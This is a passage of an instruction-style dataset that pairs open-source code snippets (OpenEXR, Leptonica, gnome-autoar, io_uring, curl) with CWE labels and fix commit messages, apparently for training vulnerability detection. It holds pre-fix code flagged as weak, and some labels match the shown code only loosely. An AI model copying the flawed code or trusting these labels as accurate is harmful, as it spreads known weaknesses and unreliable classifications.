xSize,\n int ySize,\n int xOffset,\n int yOffset,\n Compression comp,\n LevelMode mode,\n\t LevelRoundingMode rmode)\n{\n //\n // Write the pixel data in pi1, ph1 and ph2 to a tiled\n // image file using the specified parameters.\n // Read the pixel data back from the file using the scanline\n // interface one scanline at a time, and verify that the data did\n // not change.\n // For MIPMAP and RIPMAP_LEVELS, the lower levels of the images\n // are filled in cropped versions of the level(0,0) image,\n // i.e. no filtering is done.\n //\n\n cout << \"levelMode \" << mode <<\n\t \", roundingMode \" << rmode <<\n \", line order \" << lorder <<\n \",\\ntileSize \" << xSize << \"x\" << ySize <<\n \", xOffset \" << xOffset <<\n \", yOffset \"<< yOffset << endl;\n\n Header hdr ((Box2i (V2i (0, 0), // display window\n V2i (width - 1, height -1))),\n (Box2i (V2i (xOffset, yOffset), // data window\n V2i (xOffset + width - 1, yOffset + height - 1))));\n hdr.lineOrder() = lorder;\n hdr.compression() = comp;\n\n hdr.channels().insert (\"I\", Channel (IMF::UINT));\n hdr.channels().insert (\"H\", Channel (IMF::HALF));\n hdr.channels().insert (\"F\", Channel (IMF::FLOAT));\n \n hdr.setTileDescription(TileDescription(xSize, ySize, mode, rmode));\n {\n FrameBuffer fb; \n\n fb.insert (\"I\", // name\n Slice (IMF::UINT, // type\n (char *) &pi1[-yOffset][-xOffset], // base\n sizeof (pi1[0][0]), // xStride\n sizeof (pi1[0][0]) * width) // yStride\n );\n \n fb.insert (\"H\", // name\n Slice (IMF::HALF, // type\n (char *) &ph1[-yOffset][-xOffset], // base\n sizeof (ph1[0][0]), // xStride\n sizeof (ph1[0][0]) * width) // yStride\n );\n \n fb.insert (\"F\", // name\n Slice (IMF::FLOAT, // type\n (char *) &pf1[-yOffset][-xOffset], // base\n sizeof (pf1[0][0]), // xStride\n sizeof (pf1[0][0]) * width) // yStride\n );\n\n cout << \" writing\" << flush;\n\n remove (fileName);\n TiledOutputFile out (fileName, hdr);\n out.setFrameBuffer (fb);\n \n int startTileY = -1;\n\tint endTileY = -1;\n int dy;\n\n switch (mode)\n {\n case ONE_LEVEL:\n {\n if (lorder == DECREASING_Y)\n {\n startTileY = out.numYTiles() - 1;\n endTileY = -1;\n\n dy = -1;\n } \n else\n {\n startTileY = 0;\n endTileY = out.numYTiles();\n\n dy = 1;\n }\n\n for (int tileY = startTileY; tileY != endTileY; tileY += dy)\n for (int tileX = 0; tileX < out.numXTiles(); ++tileX) \n out.writeTile (tileX, tileY);\n }\n break;\n\n case MIPMAP_LEVELS:\n {\n if (lorder == DECREASING_Y)\n {\n endTileY = -1;\n dy = -1;\n } \n else\n {\n startTileY = 0;\n dy = 1;\n }\n\n for (int level = 0; level < out.numLevels(); ++level)\n {\n if (lorder == DECREASING_Y)\n startTileY = out.numYTiles(level) - 1;\n else\n endTileY = out.numYTiles(level);\n\n for (int tileY = startTileY; tileY != endTileY; tileY += dy)\n for (int tileX = 0; tileX < out.numXTiles(level); ++tileX)\n out.writeTile (tileX, tileY, level);\n }\n }\n break;\n \n case RIPMAP_LEVELS:\n {\n for (int ylevel = 0; ylevel < out.numYLevels(); ++ylevel)\n { \n if (lorder == DECREASING_Y)\n {\n startTileY = out.numYTiles(ylevel) - 1;\n endTileY = -1;\n\n dy = -1;\n } \n else\n {\n startTileY = 0;\n endTileY = out.numYTiles(ylevel);\n\n dy = 1;\n }\n\n for (int xlevel = 0; xlevel < out.numXLevels(); ++xlevel)\n {\n for (int tileY = startTileY; tileY != endTileY;\n tileY += dy)\n for (int tileX = 0; tileX < out.numXTiles (xlevel);\n ++tileX)\n out.writeTile (tileX, tileY, xlevel, ylevel);\n }\n }\n }\n break;\n\t\t\tcase NUM_LEVELMODES:\n\t\t\tdefault:\n\t\t\t\tstd::cerr << \"Invalid tile mode \" << int(mode) << std::endl;\n\t\t\t\tbreak;\n }\n }\n\n {\n cout << \" reading INCREASING_Y\" << flush;\n\n InputFile in (fileName);\n\n const Box2i &dw = in.header().dataWindow();\n int w = dw.max.x - dw.min.x + 1;\n int h = dw.max.y - dw.min.y + 1;\n int dwx = dw.min.x;\n int dwy = dw.min.y;\n\n Array2D pi2 (h, w);\n Array2D ph2 (h, w);\n Array2D pf2 (h, w);\n\n FrameBuffer fb;\n\n fb.insert (\"I\", // name\n Slice (IMF::UINT, // type\n (char *) &pi2[-dwy][-dwx],// base\n sizeof (pi2[0][0]), // xStride\n sizeof (pi2[0][0]) * w) // yStride\n );\n\n fb.insert (\"H\", // name\n Slice (IMF::HALF, // type\n (char *) &ph2[-dwy][-dwx],// base\n sizeof (ph2[0][0]), // xStride\n sizeof (ph2[0][0]) * w) // yStride\n );\n\n fb.insert (\"F\", // name\n Slice (IMF::FLOAT, // type\n (char *) &pf2[-dwy][-dwx],// base\n sizeof (pf2[0][0]), // xStride\n sizeof (pf2[0][0]) * w) // yStride\n );\n\n in.setFrameBuffer (fb);\n for (int y = dw.min.y; y <= dw.max.y; ++y)\n in.readPixels (y);\n\n cout << \" comparing\" << flush;\n\n assert (in.header().displayWindow() == hdr.displayWindow());\n assert (in.header().dataWindow() == hdr.dataWindow());\n assert (in.header().pixelAspectRatio() == hdr.pixelAspectRatio());\n assert (in.header().screenWindowCenter() == hdr.screenWindowCenter());\n assert (in.header().screenWindowWidth() == hdr.screenWindowWidth());\n assert (in.header().lineOrder() == hdr.lineOrder());\n assert (in.header().compression() == hdr.compression());\n\n ChannelList::ConstIterator hi = hdr.channels().begin();\n ChannelList::ConstIterator ii = in.header().channels().begin();\n\n while (hi != hdr.channels().end())\n {\n assert (!strcmp (hi.name(), ii.name()));\n assert (hi.channel().type == ii.channel().type);\n assert (hi.channel().xSampling == ii.channel().xSampling);\n assert (hi.channel().ySampling == ii.channel().ySampling);\n\n ++hi;\n ++ii;\n }\n\n assert (ii == in.header().channels().end());\n\n for (int y = 0; y < h; ++y)\n {\n for (int x = 0; x < w; ++x)\n {\n assert (pi1[y][x] == pi2[y][x]);\n assert (ph1[y][x] == ph2[y][x]);\n assert (pf1[y][x] == pf2[y][x]);\n }\n } \n }\n\n {\n cout << endl << \" reading DECREASING_Y\" << flush;\n\n InputFile in (fileName);\n\n const Box2i &dw = in.header().dataWindow();\n int w = dw.max.x - dw.min.x + 1;\n int h = dw.max.y - dw.min.y + 1;\n int dwx = dw.min.x;\n int dwy = dw.min.y;\n\n Array2D pi2 (h, w);\n Array2D ph2 (h, w);\n Array2D pf2 (h, w);\n\n FrameBuffer fb;\n\n fb.insert (\"I\", // name\n Slice (IMF::UINT, // type\n (char *) &pi2[-dwy][-dwx],// base\n sizeof (pi2[0][0]), // xStride\n sizeof (pi2[0][0]) * w) // yStride\n );\n\n fb.insert (\"H\", // name\n Slice (IMF::HALF, // type\n (char *) &ph2[-dwy][-dwx],// base\n sizeof (ph2[0][0]), // xStride\n sizeof (ph2[0][0]) * w) // yStride\n );\n\n fb.insert (\"F\", // name\n Slice (IMF::FLOAT, // type\n (char *) &pf2[-dwy][-dwx],// base\n sizeof (pf2[0][0]), // xStride\n sizeof (pf2[0][0]) * w) // yStride\n );\n\n in.setFrameBuffer (fb);\n for (int y = dw.max.y; y >= dw.min.y; --y)\n in.readPixels (y);\n\n cout << \" comparing\" << flush;\n\n assert (in.header().displayWindow() == hdr.displayWindow());\n assert (in.header().dataWindow() == hdr.dataWindow());\n assert (in.header().pixelAspectRatio() == hdr.pixelAspectRatio());\n assert (in.header().screenWindowCenter() == hdr.screenWindowCenter());\n assert (in.header().screenWindowWidth() == hdr.screenWindowWidth());\n assert (in.header().lineOrder() == hdr.lineOrder());\n assert (in.header().compression() == hdr.compression());\n\n ChannelList::ConstIterator hi = hdr.channels().begin();\n ChannelList::ConstIterator ii = in.header().channels().begin();\n\n while (hi != hdr.channels().end())\n {\n assert (!strcmp (hi.name(), ii.name()));\n assert (hi.channel().type == ii.channel().type);\n assert (hi.channel().xSampling == ii.channel().xSampling);\n assert (hi.channel().ySampling == ii.channel().ySampling);\n\n ++hi;\n ++ii;\n }\n\n assert (ii == in.header().channels().end());\n\n for (int y = 0; y < h; ++y)\n {\n for (int x = 0; x < w; ++x)\n {\n assert (pi1[y][x] == pi2[y][x]);\n assert (ph1[y][x] == ph2[y][x]);\n assert (pf1[y][x] == pf2[y][x]);\n }\n }\n }\n\n {\n cout << endl << \" reading INCREASING_Y \"\n\t\t \"(new frame buffer on every line)\" << flush;\n\n InputFile in (fileName);\n\n const Box2i &dw = in.header().dataWindow();\n int w = dw.max.x - dw.min.x + 1;\n int h = dw.max.y - dw.min.y + 1;\n int dwx = dw.min.x;\n int dwy = dw.min.y;\n\n Array2D pi2 (h, w);\n Array2D ph2 (h, w);\n Array2D pf2 (h, w);\n\n for (int y = dw.min.y; y <= dw.max.y; ++y)\n\t{\n\t FrameBuffer fb;\n\n\t fb.insert (\"I\",\t\t\t\t\t// name\n\t\t Slice (IMF::UINT,\t\t\t// type\n\t\t\t (char *) &pi2[y - dwy][-dwx],\t// base\n\t\t\t sizeof (pi2[0][0]),\t\t// xStride\n\t\t\t 0)\t\t\t\t// yStride\n\t\t );\n\n\t fb.insert (\"H\",\t\t\t\t\t// name\n\t\t Slice (IMF::HALF,\t\t\t// type\n\t\t\t (char *) &ph2[y - dwy][-dwx],\t// base\n\t\t\t sizeof (ph2[0][0]),\t\t// xStride\n\t\t\t 0)\t\t\t\t// yStride\n\t\t );\n\n\t fb.insert (\"F\", \t // name\n\t\t Slice (IMF::FLOAT,\t\t\t// type\n\t\t\t (char *) &pf2[y - dwy][-dwx],\t// base\n\t\t\t sizeof (pf2[0][0]),\t\t// xStride\n\t\t\t 0)\t\t\t\t// yStride\n\t\t );\n\n\t in.setFrameBuffer (fb);\n in.readPixels (y);\n\t}\n\n cout << \" comparing\" << flush;\n\n assert (in.header().displayWindow() == hdr.displayWindow());\n assert (in.header().dataWindow() == hdr.dataWindow());\n assert (in.header().pixelAspectRatio() == hdr.pixelAspectRatio());\n assert (in.header().screenWindowCenter() == hdr.screenWindowCenter());\n assert (in.header().screenWindowWidth() == hdr.screenWindowWidth());\n assert (in.header().lineOrder() == hdr.lineOrder());\n assert (in.header().compression() == hdr.compression());\n\n ChannelList::ConstIterator hi = hdr.channels().begin();\n ChannelList::ConstIterator ii = in.header().channels().begin();\n\n while (hi != hdr.channels().end())\n {\n assert (!strcmp (hi.name(), ii.name()));\n assert (hi.channel().type == ii.channel().type);\n assert (hi.channel().xSampling == ii.channel().xSampling);\n assert (hi.channel().ySampling == ii.channel().ySampling);\n\n ++hi;\n ++ii;\n }\n\n assert (ii == in.header().channels().end());\n\n for (int y = 0; y < h; ++y)\n {\n for (int x = 0; x < w; ++x)\n {\n assert (pi1[y][x] == pi2[y][x]);\n assert (ph1[y][x] == ph2[y][x]);\n assert (pf1[y][x] == pf2[y][x]);\n }\n } \n }\n\n remove (fileName);\n cout << endl;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-770'], 'message': 'More efficient handling of filled channels reading tiles with scanline API (#830)\n\n* refactor channel filling in InputFile API with tiled source\r\n\r\nSigned-off-by: Peter Hillman \r\n\r\n* handle edge-case of empty framebuffer\r\n\r\nSigned-off-by: Peter Hillman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int main(int argc,\n char **argv)\n{\nl_int32 w, h;\nPIX *pixs, *pixg, *pixim, *pixgm, *pixmi, *pix1, *pix2;\nPIX *pixmr, *pixmg, *pixmb, *pixmri, *pixmgi, *pixmbi;\nPIXA *pixa;\nL_REGPARAMS *rp;\n\n if (regTestSetup(argc, argv, &rp))\n return 1;\n\n lept_mkdir(\"lept/adapt\"); // REMOVE?\n\n pixs = pixRead(\"wet-day.jpg\");\n pixa = pixaCreate(0);\n pixg = pixConvertRGBToGray(pixs, 0.33, 0.34, 0.33);\n pixaAddPix(pixa, pixs, L_INSERT);\n pixaAddPix(pixa, pixg, L_INSERT);\n pixGetDimensions(pixs, &w, &h, NULL);\n\n /* Process in grayscale */\n startTimer();\n pixim = pixCreate(w, h, 1);\n pixRasterop(pixim, XS, YS, WS, HS, PIX_SET, NULL, 0, 0);\n pixGetBackgroundGrayMap(pixg, pixim, SIZE_X, SIZE_Y,\n BINTHRESH, MINCOUNT, &pixgm);\n fprintf(stderr, \"Time for gray adaptmap gen: %7.3f\\n\", stopTimer());\n regTestWritePixAndCheck(rp, pixgm, IFF_PNG); /* 0 */\n pixaAddPix(pixa, pixgm, L_INSERT);\n\n startTimer();\n pixmi = pixGetInvBackgroundMap(pixgm, BGVAL, SMOOTH_X, SMOOTH_Y);\n fprintf(stderr, \"Time for gray inv map generation: %7.3f\\n\", stopTimer());\n regTestWritePixAndCheck(rp, pixmi, IFF_PNG); /* 1 */\n pixaAddPix(pixa, pixmi, L_INSERT);\n\n startTimer();\n pix1 = pixApplyInvBackgroundGrayMap(pixg, pixmi, SIZE_X, SIZE_Y);\n fprintf(stderr, \"Time to apply gray inv map: %7.3f\\n\", stopTimer());\n regTestWritePixAndCheck(rp, pix1, IFF_JFIF_JPEG); /* 2 */\n pixaAddPix(pixa, pix1, L_INSERT);\n\n pix2 = pixGammaTRCMasked(NULL, pix1, pixim, 1.0, 0, 190);\n pixInvert(pixim, pixim);\n pixGammaTRCMasked(pix2, pix2, pixim, 1.0, 60, 190);\n regTestWritePixAndCheck(rp, pix2, IFF_JFIF_JPEG); /* 3 */\n pixaAddPix(pixa, pix2, L_INSERT);\n pixDestroy(&pixim);\n\n /* Process in color */\n startTimer();\n pixim = pixCreate(w, h, 1);\n pixRasterop(pixim, XS, YS, WS, HS, PIX_SET, NULL, 0, 0);\n pixGetBackgroundRGBMap(pixs, pixim, NULL, SIZE_X, SIZE_Y,\n BINTHRESH, MINCOUNT,\n &pixmr, &pixmg, &pixmb);\n fprintf(stderr, \"Time for color adaptmap gen: %7.3f\\n\", stopTimer());\n regTestWritePixAndCheck(rp, pixmr, IFF_PNG); /* 4 */\n regTestWritePixAndCheck(rp, pixmg, IFF_PNG); /* 5 */\n regTestWritePixAndCheck(rp, pixmb, IFF_PNG); /* 6 */\n pixaAddPix(pixa, pixmr, L_INSERT);\n pixaAddPix(pixa, pixmg, L_INSERT);\n pixaAddPix(pixa, pixmb, L_INSERT);\n\n startTimer();\n pixmri = pixGetInvBackgroundMap(pixmr, BGVAL, SMOOTH_X, SMOOTH_Y);\n pixmgi = pixGetInvBackgroundMap(pixmg, BGVAL, SMOOTH_X, SMOOTH_Y);\n pixmbi = pixGetInvBackgroundMap(pixmb, BGVAL, SMOOTH_X, SMOOTH_Y);\n fprintf(stderr, \"Time for color inv map generation: %7.3f\\n\", stopTimer());\n regTestWritePixAndCheck(rp, pixmri, IFF_PNG); /* 7 */\n regTestWritePixAndCheck(rp, pixmgi, IFF_PNG); /* 8 */\n regTestWritePixAndCheck(rp, pixmbi, IFF_PNG); /* 9 */\n pixaAddPix(pixa, pixmri, L_INSERT);\n pixaAddPix(pixa, pixmgi, L_INSERT);\n pixaAddPix(pixa, pixmbi, L_INSERT);\n\n startTimer();\n pix1 = pixApplyInvBackgroundRGBMap(pixs, pixmri, pixmgi, pixmbi,\n SIZE_X, SIZE_Y);\n fprintf(stderr, \"Time to apply color inv maps: %7.3f\\n\", stopTimer());\n regTestWritePixAndCheck(rp, pix1, IFF_JFIF_JPEG); /* 10 */\n pixaAddPix(pixa, pix1, L_INSERT);\n\n pix2 = pixGammaTRCMasked(NULL, pix1, pixim, 1.0, 0, 190);\n pixInvert(pixim, pixim);\n pixGammaTRCMasked(pix2, pix2, pixim, 1.0, 60, 190);\n regTestWritePixAndCheck(rp, pix2, IFF_JFIF_JPEG); /* 11 */\n pixaAddPix(pixa, pix2, L_INSERT);\n pixDestroy(&pixim);\n\n /* Process at higher level in color */\n startTimer();\n pixim = pixCreate(w, h, 1);\n pixRasterop(pixim, XS, YS, WS, HS, PIX_SET, NULL, 0, 0);\n pix1 = pixBackgroundNorm(pixs, pixim, NULL, 5, 10, BINTHRESH, 20,\n BGVAL, SMOOTH_X, SMOOTH_Y);\n fprintf(stderr, \"Time for bg normalization: %7.3f\\n\", stopTimer());\n regTestWritePixAndCheck(rp, pix1, IFF_JFIF_JPEG); /* 12 */\n pixaAddPix(pixa, pix1, L_INSERT);\n\n pix2 = pixGammaTRCMasked(NULL, pix1, pixim, 1.0, 0, 190);\n pixInvert(pixim, pixim);\n pixGammaTRCMasked(pix2, pix2, pixim, 1.0, 60, 190);\n regTestWritePixAndCheck(rp, pix2, IFF_JFIF_JPEG); /* 13 */\n pixaAddPix(pixa, pix2, L_INSERT);\n pixDestroy(&pixim);\n\n /* Display results */\n pix1 = pixaDisplayTiledAndScaled(pixa, 32, 400, 4, 0, 20, 2);\n pixWrite(\"/tmp/lept/adapt/results.jpg\", pix1, IFF_JFIF_JPEG);\n pixDisplayWithTitle(pix1, 100, 0, NULL, rp->display);\n pixDestroy(&pix1);\n pixaDestroy(&pixa);\n\n return regTestCleanup(rp);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fixing oss-fuzz issue 22512: Heap-buffer-overflow in rasteropGeneralLow()\n* Simplified the hole-filling function\n`'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: autoar_extractor_check_file_conflict (GFile *file,\n mode_t extracted_filetype)\n{\n GFileType file_type;\n\n file_type = g_file_query_file_type (file,\n G_FILE_QUERY_INFO_NOFOLLOW_SYMLINKS,\n NULL);\n /* If there is no file with the given name, there will be no conflict */\n if (file_type == G_FILE_TYPE_UNKNOWN) {\n return FALSE;\n }\n\n /* It is not problem if the directory already exists */\n if (file_type == G_FILE_TYPE_DIRECTORY &&\n extracted_filetype == AE_IFDIR) {\n return FALSE;\n }\n\n return TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59'], 'message': 'extractor: Do not allow symlink in parents\n\nCurrently, it is still possible that some files are extracted outside of\nthe destination dir in case of malicious archives. The checks from commit\nadb067e6 can be still bypassed in certain cases. See GNOME/file-roller#108\nfor more details. After some investigation, I am convinced that it would be\nbest to\tsimply disallow symlinks in parents. For example, `tar` fails to\nextract such files with the `ENOTDIR` error. Let's do the same here.\n\nFixes: https://gitlab.gnome.org/GNOME/gnome-autoar/-/issues/12'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: \nstatic void io_disable_sqo_submit(struct io_ring_ctx *ctx)\n{\n\tmutex_lock(&ctx->uring_lock);\n\tctx->sqo_dead = 1;\n\tmutex_unlock(&ctx->uring_lock);\n\n\t/* make sure callers enter the ring to get error */\n\tif (ctx->rings)\n\t\tio_ring_set_wakeup_flag(ctx); ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-667'], 'message': 'io_uring: ensure that SQPOLL thread is started for exit\n\nIf we create it in a disabled state because IORING_SETUP_R_DISABLED is\nset on ring creation, we need to ensure that we've kicked the thread if\nwe're exiting before it's been explicitly disabled. Otherwise we can run\ninto a deadlock where exit is waiting go park the SQPOLL thread, but the\nSQPOLL thread itself is waiting to get a signal to start.\n\nThat results in the below trace of both tasks hung, waiting on each other:\n\nINFO: task syz-executor458:8401 blocked for more than 143 seconds.\n Not tainted 5.11.0-next-20210226-syzkaller #0\n\"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\ntask:syz-executor458 state:D stack:27536 pid: 8401 ppid: 8400 flags:0x00004004\nCall Trace:\n context_switch kernel/sched/core.c:4324 [inline]\n __schedule+0x90c/0x21a0 kernel/sched/core.c:5075\n schedule+0xcf/0x270 kernel/sched/core.c:5154\n schedule_timeout+0x1db/0x250 kernel/time/timer.c:1868\n do_wait_for_common kernel/sched/completion.c:85 [inline]\n __wait_for_common kernel/sched/completion.c:106 [inline]\n wait_for_common kernel/sched/completion.c:117 [inline]\n wait_for_completion+0x168/0x270 kernel/sched/completion.c:138\n io_sq_thread_park fs/io_uring.c:7115 [inline]\n io_sq_thread_park+0xd5/0x130 fs/io_uring.c:7103\n io_uring_cancel_task_requests+0x24c/0xd90 fs/io_uring.c:8745\n __io_uring_files_cancel+0x110/0x230 fs/io_uring.c:8840\n io_uring_files_cancel include/linux/io_uring.h:47 [inline]\n do_exit+0x299/0x2a60 kernel/exit.c:780\n do_group_exit+0x125/0x310 kernel/exit.c:922\n __do_sys_exit_group kernel/exit.c:933 [inline]\n __se_sys_exit_group kernel/exit.c:931 [inline]\n __x64_sys_exit_group+0x3a/0x50 kernel/exit.c:931\n do_syscall_64+0x2d/0x70 arch/x86/entry/common.c:46\n entry_SYSCALL_64_after_hwframe+0x44/0xae\nRIP: 0033:0x43e899\nRSP: 002b:00007ffe89376d48 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7\nRAX: ffffffffffffffda RBX: 00000000004af2f0 RCX: 000000000043e899\nRDX: 000000000000003c RSI: 00000000000000e7 RDI: 0000000000000000\nRBP: 0000000000000000 R08: ffffffffffffffc0 R09: 0000000010000000\nR10: 0000000000008011 R11: 0000000000000246 R12: 00000000004af2f0\nR13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000001\nINFO: task iou-sqp-8401:8402 can't die for more than 143 seconds.\ntask:iou-sqp-8401 state:D stack:30272 pid: 8402 ppid: 8400 flags:0x00004004\nCall Trace:\n context_switch kernel/sched/core.c:4324 [inline]\n __schedule+0x90c/0x21a0 kernel/sched/core.c:5075\n schedule+0xcf/0x270 kernel/sched/core.c:5154\n schedule_timeout+0x1db/0x250 kernel/time/timer.c:1868\n do_wait_for_common kernel/sched/completion.c:85 [inline]\n __wait_for_common kernel/sched/completion.c:106 [inline]\n wait_for_common kernel/sched/completion.c:117 [inline]\n wait_for_completion+0x168/0x270 kernel/sched/completion.c:138\n io_sq_thread+0x27d/0x1ae0 fs/io_uring.c:6717\n ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:294\nINFO: task iou-sqp-8401:8402 blocked for more than 143 seconds.\n\nReported-by: syzbot+fb5458330b4442f2090d@syzkaller.appspotmail.com\nSigned-off-by: Jens Axboe '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: wolfssl_connect_step1(struct Curl_easy *data, struct connectdata *conn,\n int sockindex)\n{\n char *ciphers;\n struct ssl_connect_data *connssl = &conn->ssl[sockindex];\n struct ssl_backend_data *backend = connssl->backend;\n SSL_METHOD* req_method = NULL;\n curl_socket_t sockfd = conn->sock[sockindex];\n#ifdef HAVE_SNI\n bool sni = FALSE;\n#define use_sni(x) sni = (x)\n#else\n#define use_sni(x) Curl_nop_stmt\n#endif\n\n if(connssl->state == ssl_connection_complete)\n return CURLE_OK;\n\n if(SSL_CONN_CONFIG(version_max) != CURL_SSLVERSION_MAX_NONE) {\n failf(data, \"wolfSSL does not support to set maximum SSL/TLS version\");\n return CURLE_SSL_CONNECT_ERROR;\n }\n\n /* check to see if we've been told to use an explicit SSL/TLS version */\n switch(SSL_CONN_CONFIG(version)) {\n case CURL_SSLVERSION_DEFAULT:\n case CURL_SSLVERSION_TLSv1:\n#if LIBWOLFSSL_VERSION_HEX >= 0x03003000 /* >= 3.3.0 */\n /* minimum protocol version is set later after the CTX object is created */\n req_method = SSLv23_client_method();\n#else\n infof(data, \"wolfSSL <3.3.0 cannot be configured to use TLS 1.0-1.2, \"\n \"TLS 1.0 is used exclusively\\n\");\n req_method = TLSv1_client_method();\n#endif\n use_sni(TRUE);\n break;\n case CURL_SSLVERSION_TLSv1_0:\n#if defined(WOLFSSL_ALLOW_TLSV10) && !defined(NO_OLD_TLS)\n req_method = TLSv1_client_method();\n use_sni(TRUE);\n#else\n failf(data, \"wolfSSL does not support TLS 1.0\");\n return CURLE_NOT_BUILT_IN;\n#endif\n break;\n case CURL_SSLVERSION_TLSv1_1:\n#ifndef NO_OLD_TLS\n req_method = TLSv1_1_client_method();\n use_sni(TRUE);\n#else\n failf(data, \"wolfSSL does not support TLS 1.1\");\n return CURLE_NOT_BUILT_IN;\n#endif\n break;\n case CURL_SSLVERSION_TLSv1_2:\n req_method = TLSv1_2_client_method();\n use_sni(TRUE);\n break;\n case CURL_SSLVERSION_TLSv1_3:\n#ifdef WOLFSSL_TLS13\n req_method = wolfTLSv1_3_client_method();\n use_sni(TRUE);\n break;\n#else\n failf(data, \"wolfSSL: TLS 1.3 is not yet supported\");\n return CURLE_SSL_CONNECT_ERROR;\n#endif\n case CURL_SSLVERSION_SSLv3:\n#ifdef WOLFSSL_ALLOW_SSLV3\n req_method = SSLv3_client_method();\n use_sni(FALSE);\n#else\n failf(data, \"wolfSSL does not support SSLv3\");\n return CURLE_NOT_BUILT_IN;\n#endif\n break;\n case CURL_SSLVERSION_SSLv2:\n failf(data, \"wolfSSL does not support SSLv2\");\n return CURLE_SSL_CONNECT_ERROR;\n default:\n failf(data, \"Unrecognized parameter passed via CURLOPT_SSLVERSION\");\n return CURLE_SSL_CONNECT_ERROR;\n }\n\n if(!req_method) {\n failf(data, \"SSL: couldn't create a method!\");\n return CURLE_OUT_OF_MEMORY;\n }\n\n if(backend->ctx)\n SSL_CTX_free(backend->ctx);\n backend->ctx = SSL_CTX_new(req_method);\n\n if(!backend->ctx) {\n failf(data, \"SSL: couldn't create a context!\");\n return CURLE_OUT_OF_MEMORY;\n }\n\n switch(SSL_CONN_CONFIG(version)) {\n case CURL_SSLVERSION_DEFAULT:\n case CURL_SSLVERSION_TLSv1:\n#if LIBWOLFSSL_VERSION_HEX > 0x03004006 /* > 3.4.6 */\n /* Versions 3.3.0 to 3.4.6 we know the minimum protocol version is\n * whatever minimum version of TLS was built in and at least TLS 1.0. For\n * later library versions that could change (eg TLS 1.0 built in but\n * defaults to TLS 1.1) so we have this short circuit evaluation to find\n * the minimum supported TLS version.\n */\n if((wolfSSL_CTX_SetMinVersion(backend->ctx, WOLFSSL_TLSV1) != 1) &&\n (wolfSSL_CTX_SetMinVersion(backend->ctx, WOLFSSL_TLSV1_1) != 1) &&\n (wolfSSL_CTX_SetMinVersion(backend->ctx, WOLFSSL_TLSV1_2) != 1)\n#ifdef WOLFSSL_TLS13\n && (wolfSSL_CTX_SetMinVersion(backend->ctx, WOLFSSL_TLSV1_3) != 1)\n#endif\n ) {\n failf(data, \"SSL: couldn't set the minimum protocol version\");\n return CURLE_SSL_CONNECT_ERROR;\n }\n#endif\n break;\n }\n\n ciphers = SSL_CONN_CONFIG(cipher_list);\n if(ciphers) {\n if(!SSL_CTX_set_cipher_list(backend->ctx, ciphers)) {\n failf(data, \"failed setting cipher list: %s\", ciphers);\n return CURLE_SSL_CIPHER;\n }\n infof(data, \"Cipher selection: %s\\n\", ciphers);\n }\n\n#ifndef NO_FILESYSTEM\n /* load trusted cacert */\n if(SSL_CONN_CONFIG(CAfile)) {\n if(1 != SSL_CTX_load_verify_locations(backend->ctx,\n SSL_CONN_CONFIG(CAfile),\n SSL_CONN_CONFIG(CApath))) {\n if(SSL_CONN_CONFIG(verifypeer)) {\n /* Fail if we insist on successfully verifying the server. */\n failf(data, \"error setting certificate verify locations:\"\n \" CAfile: %s CApath: %s\",\n SSL_CONN_CONFIG(CAfile)?\n SSL_CONN_CONFIG(CAfile): \"none\",\n SSL_CONN_CONFIG(CApath)?\n SSL_CONN_CONFIG(CApath) : \"none\");\n return CURLE_SSL_CACERT_BADFILE;\n }\n else {\n /* Just continue with a warning if no strict certificate\n verification is required. */\n infof(data, \"error setting certificate verify locations,\"\n \" continuing anyway:\\n\");\n }\n }\n else {\n /* Everything is fine. */\n infof(data, \"successfully set certificate verify locations:\\n\");\n }\n infof(data, \" CAfile: %s\\n\",\n SSL_CONN_CONFIG(CAfile) ? SSL_CONN_CONFIG(CAfile) : \"none\");\n infof(data, \" CApath: %s\\n\",\n SSL_CONN_CONFIG(CApath) ? SSL_CONN_CONFIG(CApath) : \"none\");\n }\n\n /* Load the client certificate, and private key */\n if(SSL_SET_OPTION(primary.clientcert) && SSL_SET_OPTION(key)) {\n int file_type = do_file_type(SSL_SET_OPTION(cert_type));\n\n if(SSL_CTX_use_certificate_file(backend->ctx,\n SSL_SET_OPTION(primary.clientcert),\n file_type) != 1) {\n failf(data, \"unable to use client certificate (no key or wrong pass\"\n \" phrase?)\");\n return CURLE_SSL_CONNECT_ERROR;\n }\n\n file_type = do_file_type(SSL_SET_OPTION(key_type));\n if(SSL_CTX_use_PrivateKey_file(backend->ctx, SSL_SET_OPTION(key),\n file_type) != 1) {\n failf(data, \"unable to set private key\");\n return CURLE_SSL_CONNECT_ERROR;\n }\n }\n#endif /* !NO_FILESYSTEM */\n\n /* SSL always tries to verify the peer, this only says whether it should\n * fail to connect if the verification fails, or if it should continue\n * anyway. In the latter case the result of the verification is checked with\n * SSL_get_verify_result() below. */\n SSL_CTX_set_verify(backend->ctx,\n SSL_CONN_CONFIG(verifypeer)?SSL_VERIFY_PEER:\n SSL_VERIFY_NONE,\n NULL);\n\n#ifdef HAVE_SNI\n if(sni) {\n struct in_addr addr4;\n#ifdef ENABLE_IPV6\n struct in6_addr addr6;\n#endif\n#ifndef CURL_DISABLE_PROXY\n const char * const hostname = SSL_IS_PROXY() ? conn->http_proxy.host.name 